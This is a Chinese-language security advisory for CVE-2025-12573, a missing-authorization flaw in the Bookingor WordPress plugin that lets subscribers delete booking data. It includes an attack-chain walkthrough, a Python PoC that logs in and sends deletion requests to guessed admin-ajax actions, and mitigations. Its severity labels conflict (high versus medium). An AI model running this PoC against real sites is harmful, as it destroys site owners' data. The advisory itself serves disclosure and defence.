IPBUF安全漏洞报告
English
CVE-2025-12573 CVSS 6.5 中危

CVE-2025-12573 Bookingor WordPress插件未授权数据删除漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-12573
漏洞类型
访问控制/权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bookingor WordPress plugin

相关标签

CVE-2025-12573WordPress插件漏洞Bookingor访问控制绕过权限检查缺失AJAX安全未授权数据删除CSRFWordPress安全

漏洞概述

CVE-2025-12573是WordPress插件Bookingor中的一个高危安全漏洞,该插件在1.0.12及之前版本存在严重的访问控制缺陷。漏洞源于插件在处理AJAX请求时,未对相关操作端点实施必要的权限验证(capability checks)和CSRF令牌验证(nonce checks)。这意味着任何经过身份验证的低权限用户(如订阅者角色)都可以调用这些未受保护的AJAX动作,执行本应仅限管理员操作的数据删除功能。攻击者利用此漏洞可以删除插件相关的所有数据,包括但不限于预订记录、配置信息等,对网站的正常运营造成严重影响。由于该漏洞利用门槛较低(仅需普通用户账户),且在公网环境下可远程利用,因此具有较高的实际威胁性。

技术细节

Bookingor插件在实现AJAX处理功能时,违反了WordPress安全开发的基本原则。插件注册了多个AJAX动作处理器(如wp_ajax_*钩子),但这些处理器函数内部缺少current_user_can()或相应capability检查,同时也未调用wp_verify_nonce()进行请求来源验证。在WordPress权限模型中,任何已认证用户都可以访问wp-admin/admin-ajax.php端点,而插件开发者错误地认为仅需认证就足够,忽视了最小权限原则。攻击者只需要构造特定的POST请求,指定action参数为目标AJAX动作,并传递相应的数据ID参数,即可触发删除操作。例如,针对删除预订记录的功能,攻击者可发送包含booking_id的请求,插件会直接执行DELETE操作而无需验证用户是否有权删除该记录。这种设计缺陷使得低权限用户可以执行管理级别的数据操作,构成典型的越权漏洞。

攻击链分析

STEP 1
步骤1 - 信息收集
攻击者首先识别目标网站使用的WordPress版本和Bookingor插件版本(≤1.0.12),可通过网站源码、wpscan.com或直接访问插件目录获取版本信息
STEP 2
步骤2 - 账户创建/获取
攻击者需要拥有一个WordPress用户账户,即使是最低权限的订阅者(subscriber)角色即可。可以通过正常注册流程获取,或利用其他漏洞获取已有账户凭据
STEP 3
步骤3 - 识别脆弱端点
攻击者通过代码审计或拦截管理后台的AJAX请求,识别出插件中未受保护的可删除数据的AJAX动作端点,如bookingor_delete_*系列操作
STEP 4
步骤4 - 构造恶意请求
攻击者构造包含目标AJAX action和数据ID的POST请求,发送到/wp-admin/admin-ajax.php端点。由于插件缺少权限检查,请求可被成功处理
STEP 5
步骤5 - 执行数据删除
服务器端接收到请求后,插件直接执行数据库删除操作(DELETE query),无需验证当前用户是否有权删除指定记录,导致数据被未授权删除
STEP 6
步骤6 - 验证与持久化
攻击者可通过重复发送请求删除更多记录,或通过API响应判断删除是否成功,实现对目标数据的批量破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12573 Bookingor Plugin Exploit PoC # Authenticated low-privilege users can delete plugin data via unprotected AJAX actions import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonces(session, target_url): """Get necessary nonces from WordPress admin pages""" # This vulnerability doesn't require nonce verification # but we need a valid authenticated session return {} def exploit_bookingor_delete(session, action_name, data_params): """ Exploit unprotected AJAX action to delete bookingor data Parameters: - action_name: The AJAX action endpoint (e.g., 'bookingor_delete_booking') - data_params: Dictionary of parameters to send with the request """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" payload = { 'action': action_name, **data_params } headers = { 'Content-Type': 'application/x-www-form-urlencoded', } print(f"[*] Sending request to: {endpoint}") print(f"[*] Action: {action_name}") print(f"[*] Payload: {payload}") response = session.post(endpoint, data=payload, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response def main(): session = requests.Session() # Step 1: Authenticate as low-privilege user print("[*] Authenticating as low-privilege user...") login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") sys.exit(1) print("[+] Authentication successful!") # Step 2: Exploit the vulnerability - Delete booking data # Common AJAX actions that might be vulnerable: vulnerable_actions = [ 'bookingor_delete_booking', 'bookingor_delete_availability', 'bookingor_delete_settings', 'bookingor_delete_all_data' ] for action in vulnerable_actions: print(f"\n[*] Testing action: {action}") params = {'id': 1} # Target ID to delete exploit_bookingor_delete(session, action, params) if __name__ == "__main__": main()

影响范围

Bookingor WordPress plugin ≤ 1.0.12

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制新用户注册功能,防止攻击者获取低权限账户;2) 使用Web应用防火墙(WAF)规则阻断对admin-ajax.php的异常请求;3) 临时禁用或替换Bookingor插件;4) 通过.htaccess或Nginx配置限制AJAX端点的访问频率和来源IP;5) 实施数据库定期备份策略,以便数据被破坏后能快速恢复;6) 使用安全监控服务实时告警异常的数据删除行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表